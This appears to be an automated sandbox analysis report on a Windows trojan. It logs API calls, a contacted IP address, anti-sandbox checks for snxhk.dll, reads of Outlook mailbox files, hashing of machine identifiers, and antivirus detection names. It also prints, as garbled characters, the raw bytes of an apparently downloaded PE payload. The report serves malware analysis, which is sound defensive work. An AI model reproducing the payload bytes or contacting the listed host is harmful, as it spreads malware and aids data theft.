rp(I  r‰pr¥p(J r§p ¢Gœ(K ,š(" Ð6(% (L t6 rÅp¢(M rÛpr¥p¢(M rýp(N & sO €6Þ%(/  (1 Þ(=þ0sP sQ oR þ1sP sQ oR (Y(> ,("þ2sP sQ þ3sP
request_handle: 0x00cc000c
1 1 0

InternetReadFile

 buffer: MZÿÿ¸@€º´ Í!¸LÍ!This program cannot be run in DOS mode. $PEd†£‹ð" 0H  @   `…@@ € n H.textÜG H  `.rsrcn€ J @@Hd[ x 8ß#G‰d ßPÉ6þ>ö¾(Ö‡æ=#U.ÒôRiüD¾Â“ò”HÁxšŽ7Ùzø)V?2tð s‘îîå«A*]ЋÅ4ìrI0 P‚÷hsÝu‹é;Pʧ¤§ûõíuŠÈ7£œ­g£þ‚`ò»˜‰ˆ´µD….aìp÷œÜ³ñÏnRa+5ÕuxŒ*r  Ì!6™§­}õË{­ÄAá6ö9û/W8©‡'ÖÓ¢e¢ËÕU|‰x+Tqä’éŸ7+9Gøtš¹Ú=”»ŸJŸ¤Ç†E[_™¬à‰¯MX­áêó!@9½6À]º·AšáÄ t{¼"V iÚùŸ%².-ҔLd$Ž‹ëq†í‹«‚-۟*ÍxbÐ^}3:c_ÞDÔӖk^ý¤™ ~48AÜuíRõÆdcÿl€™ŒÆoñ<¤ ðÑ­£PÏX¾ŒÎ$Hâ vN¢2ó¥?y6~Y "²ü3ÎŒ   üÙá ÏWÑÙ£.åCH'²ð‰;õÝ F*f¦ªÊýòC͐Hîxñ‘KÄÊì®~´§h¾¶GyW Ý¼? á^±Õ›Î2®,½ó„®>‡`*rHOÀ^¤pÚd¦¾‰LzðýÍñKÿ˜·‚xNi6Ý]b^²eŸVW‚3(êÓMñWo’VyHÇ@ì"ã5œçnbêmаÐe/‡L#ÛòǺw”<\7O+ò|³ãǯ)JIÜî%:»p5˜r`#ë"X1ÆzŽ ¥€Ýg'P+@ÿ,‘jfí(s§cÝ %›ë¿DABã^µZT#”ÐT…a×u$,À2ÈÞdñÙbæQÍ¿‚Ö`;4D¶×üØF½Èx0$cw.¥ˆ*ÃD¶D…-‰¹´ëÏêh¦W­Û)6‘n<ý'Š¢õÐ ðsž6HËXÜa$?AÏÝâ q.ZՒ9ˆ}ï©« ää{¼«M ÆY•Î Lœ ¡®Ñ¾µàìÀ“w™ºô[IèMÿ¤ðÜte: ÄF¼æƒRîmöÚ¶>%Ž­KSSiD—/é£ZqMúË>3F”ƒ®©â–ìÖNha.Æü¾}^õ»,:^!Ù-Õª¡ç ¦wÛÜõw²¸()bŽ~: n(܁æˆ5À@,CqXÏ;¨4îQ︖{Cþ\t4Ü@û¡ÑÙ{(2•˜áT9_b)†ù†¹9ì? ç–¾Û鿐 þ).ù”åÏ祮­dH7®¾û{vSؼNŒ™·K?-°Ï×;¤oFĈ9ïó–û…f˜Uƒ*¦M$fLÃ/•~pÄZ¿åU_$šÅÉô×d‚é]66ه Tí»ŽkyíݱXÙY kì;×ùAč«âªKXÚ`2þpˆõ%…œJšHh …†›†ÜxÚÊ»dÝâLÌå—RÑ ’¼½¹âÈš ?{Õn/ ¾ž+ÄLæ?á«4¨ÎI5;»0Éôàú~ÎUYºÚn7ÈYûX±ë:ÐÍ –™¡‚fÐ1þŒoš#p͵_Z/Á9ˆžZhúÎîv«\[½H»}¡x—™ýì" ~·¯™ËÜÅÐb¤¦ ҏߵgr°56ôªîi‘ Ó*’‚ß6µê»#‚Õ$Òá9´J†Þ¶u%—æ».êQ—OQá%D”‚ÂW4ç†á#5Kc èÛ³ä°ürÄFÌt l…µ¡f@õëQÂ>@µ)d¯r Ëã¨Àƺ`ÄBX ÉÔpk6EYǾž‡'8Á½P6Ä~@­šÅZ³­€â¸,Õ* æÛàŽï‡[âŸwK: #i’Æ£l)KÌÿe‚mk*4'[Þ>ƒ”B-ß¼0cÜñƒ§¦ּϷ1 ƒ"âª3[ª•"ÂàMvňÌÁH ãÀa¤`¿eW~v!ÝQ¶E_XeÜ[¦&`™vLõCòžË?҂âÿ±ÊFƒòUŸ,ËM,ï<6—ËğgÅê°x ÔK %Ù8aS`@h;Xa²‡a[¹àžä‰+v­n$¼b"Ü°ªd®ˆO‡XÐÑ,ƒê ¿øFeñçiÞ¢¤§»§¦‡|²6Âa¢’¹n“£W0PÓ¨äX*˜cqKorӛÐå÷‘È؁ŽíÉÚXVbœº^¯q‡o ø,à>ËCö_<"zéá&l¨dýˆ”„†yút6ßêÖÝ5 ùƒ 1˖é¡N,Ž A[C~‚’Ëš»)—‡Àòæ³Aê\-u†ÞÊtu(Lið7#í-̟ñSÿ×¢–p+³»,‚ªâ"ÓÐ\ج¡}úŸE7Ã$•Bk¾¢€­CfUvëk¼º'Û<±Ý8ƒt¥$Œì4h}„Ï3¹D“þjý¿r¢e“¦²l’`ø5ƒ àò¦€NG'³.«ùoî~½"™!UâRîgAžLý³©­–“éé™ód/ãŠsge&ß+²ÓõG»óõw¨t:ÔÕ»Ô=ÍÕʎPV<î+ ŦvþZi8qZËBdØK’ÒÏêZ^u€ËWL´‹UÍHØ!°PeÈ°ý+Ö켧±åNðù„o™‹7^珍°&ɲ~t‹á¾ýÛ8~ÑæþџÐ2ða÷Š€Fé8¸Á4éNô@‘F7¼úüå½öñü>Y‰oƒ6…¢¢ÎDu}'9OϽ„®½Ô¾þÅø+ÞçX-Äȝä¾Ð=¸#¤Û\‘&·ã Â›<ÃÒmP½c\pڇ+³~¼­^¶;us,6¡MËs–”ûž‡4Öõ.ÄÉ|²,š°™?_ ÔzÙyݦnQÚÏnMX÷Ô¡ ‹µB<úa@‹â*¾¤¦ŸXI¶‹]–c£àjȽPŒÁ[Q¬“J„âL6¾dH‰õ.†Ÿ_•Ž'¹bÈnùf)V󀟛Ÿ­¨UÄC۔išfbñ»Â@!ðS!ÒMKI T÷~²J+:ð¾‡ð~¯ù›ã) Ä.Ö8-Á²¼÷7Ԋ\¯Véõ¦^w¯ºZVÍÏ1“ð6BEÀ8¦‚@ÅX.y©5pÔÄ%]Þ ßhêaTYx³7öÁc¬A,¨«{Ò"@3‹#öú){]V~áÔ~}î„hvæ>MK†}  <.‡mÚ¿Ôðʙ¡œVâ1]WŸF¥-†‹kÐÌÞ¯}5 ©ÃÈ¢GŸ3;Q̇a #œ@ÀûYRw˜‰ìtfô ss߉„Ð<î|7 ”dÅè/<H1îùÒñÁÌy¶}½˜¹úô$ Lèõõ€"½X ï¾epQ-^@Z…Îfó”2ҍVSô(>¾Ùñ§M¯/žêŽ>'¸íBà¸?ò£œ-¯¢ ć÷†ÐHÈê£,•ƒ¶åpú©Ø'mF°›ê‘ú€å}ïä*$|ԝÊ®ä LÚB„Bm ßz۔> ”œ¼üìGõ²|ò"úê/ס=r½œï­Kaàô£Ž1ø÷œ¡.À±ùºèdÀô²û™êƽ§5Ĉï? e²û˜á{K¡µ—Ŕö€˜\ÕÔ`‡mA·¤ç§n—wnD‰õ¢rRýviøªÑüÈh nQ#t¯ŸUû0¥G×fJû7,ikM`KS§¹.zŠ¸t èØT¹5tè&&‘_ƒ=Ým¿v˜_ϙ¹Œ¬[U'2¡šý›ŒáçÝ·ŒTTqK†vè×xµtpOk˜Ú—Œ­¿8Šô6F0mÄä)j?‚9lïˆ×è«}˜ÜŸô¨a³®X¥«ÂsÇȲÊP6RþÌ{i)L +¦I¯†5£ÎEå¼Ü9+Û[`J-)àÒgÌHÏÇ9㺝` zsžˆ`·;kW­Ë&Þ:ÒÚ®­üÏjå5È/÷bw8cuÕi¼ñÙ¸îe2‰Õ•MþŸ¦«©Ø4(ò0/xÌf 0HU՚§&›Û³ÈÉ«#\ÀÔ.àY3³án$A ã45y¬ž¹dŒW%“ÿñ…P¼kUmÔ2§ò@jäÖ_Ú^h€Qý„<”ð¥rî¼b’ ÐÊì–Ö8Gkë ¨¢¾¾Ü¬ÂûM`,‘­éá0éÐ2J§µãé3-m¶òøkŒÈtXȾð£òï±£z훭¨ NÇ6›î²#þǃøÿKÇñD©T"Š²ûôÒ©ÄŠ.Wqtiéy:4¸°Ø9­ÓÐ7Ó[jÏË#ۀồ“dhWe œHù;V¼”Ùù-¬^Ó 4î)2ïã£W:}2ïMáè[;ÀùšzfÊOöOPos_ìI86ڐBVþK·Õý;¯(’só„¿%Ï&u玸E—NŠùßýÓâÒ²a¶e†2ÐPi Ÿó$='ø÷Y개™ÐÁÐÓ/݂WÕ¦¶¿£€eód[÷n—ÉfŽËr·ŒÌ—M®;½hDëPû󨓭Ǜ2[ЁIR«›|64‹ t25§éñQb¸;3ëv!°Öæ¼_{ڕü{N‰ñrºf=þnŠ“[©é½•Ã*KëÏýjù0|³—ÛËLô?§'°Çk˚¬$xë‰ã
request_handle: 0x00cc000c
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
wmi SELECT * FROM Win32_Processor
host 185.216.214.225
registry HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion
Time & API Arguments Status Return Repeated

LdrGetDllHandle

 module_name: snxhk.dll
module_address: 0x00000000
stack_pivoted: 0
3221225781 0

LdrGetDllHandle

 module_name: snxhk.dll
module_address: 0x00000000
stack_pivoted: 0
3221225781 0
file C:\Users\admin\Documents\Outlook Files\outlook.pst
file C:\Users\admin\Documents\Outlook Files\honey@pot.com.pst
Time & API Arguments Status Return Repeated

CryptHashData

 buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520
hash_handle: 0x000000000032ac10
flags: 0
1 1 0

CryptHashData

 buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520
hash_handle: 0x000000000032ac10
flags: 0
1 1 0

CryptHashData

 buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520
hash_handle: 0x000000000032ac10
flags: 0
1 1 0

CryptHashData

 buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520
hash_handle: 0x000000000032ac10
flags: 0
1 1 0

CryptHashData

 buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520
hash_handle: 0x000000000032ac10
flags: 0
1 1 0

CryptHashData

 buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520
hash_handle: 0x000000000032ac10
flags: 0
1 1 0

CryptHashData

 buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520
hash_handle: 0x000000000032ac10
flags: 0
1 1 0

CryptHashData

 buffer: 127631360test22TEST22-PCMicrosoft Windows NT 6.1.7601 Service Pack 134252779520
hash_handle: 0x000000000032ac10
flags: 0
1 1 0
Bkav W32.AIDetectMalware
Elastic malicious (high confidence)
Cynet Malicious (score: 100)
Skyhigh BehavesLike.Win32.Generic.fh
ALYac Gen:Variant.Jaik.219381
Cylance Unsafe
VIPRE Gen:Variant.Jaik.219381
Sangfor Trojan.Win32.Save.a
BitDefender Gen:Variant.Jaik.219381
Cybereason malicious.36d079
Arcabit Trojan.Jaik.D358F5
Symantec ML.Attribute.HighConfidence
ESET-NOD32 a variant of Win32/Agent.AGPC
APEX Malicious
Avast Win32:MalwareX-gen [Trj]
Kaspersky UDS:Trojan.Win32.Tasker.gen
MicroWorld-eScan Gen:Variant.Jaik.219381
Emsisoft Gen:Variant.Jaik.219381 (B)
McAfeeD Real Protect-LS!F48972736D07
FireEye Generic.mg.f48972736d07992d
Sophos ML/PE-A
SentinelOne Static AI - Malicious PE
MAX malware (ai score=87)
Kingsoft malware.kb.a.982
Microsoft Trojan:Win32/Sabsik.FL.B!ml
ZoneAlarm UDS:Trojan.Win32.Tasker.gen
GData Gen:Variant.Jaik.219381
BitDefenderTheta AI:Packer.5EC021C81E
DeepInstinct MALICIOUS
VBA32 BScope.Trojan.Wacatac
Malwarebytes Trojan.Zharkbot
MaxSecure Trojan.Malware.300983.susgen
AVG Win32:MalwareX-gen [Trj]
CrowdStrike win/malicious_confidence_90% (D)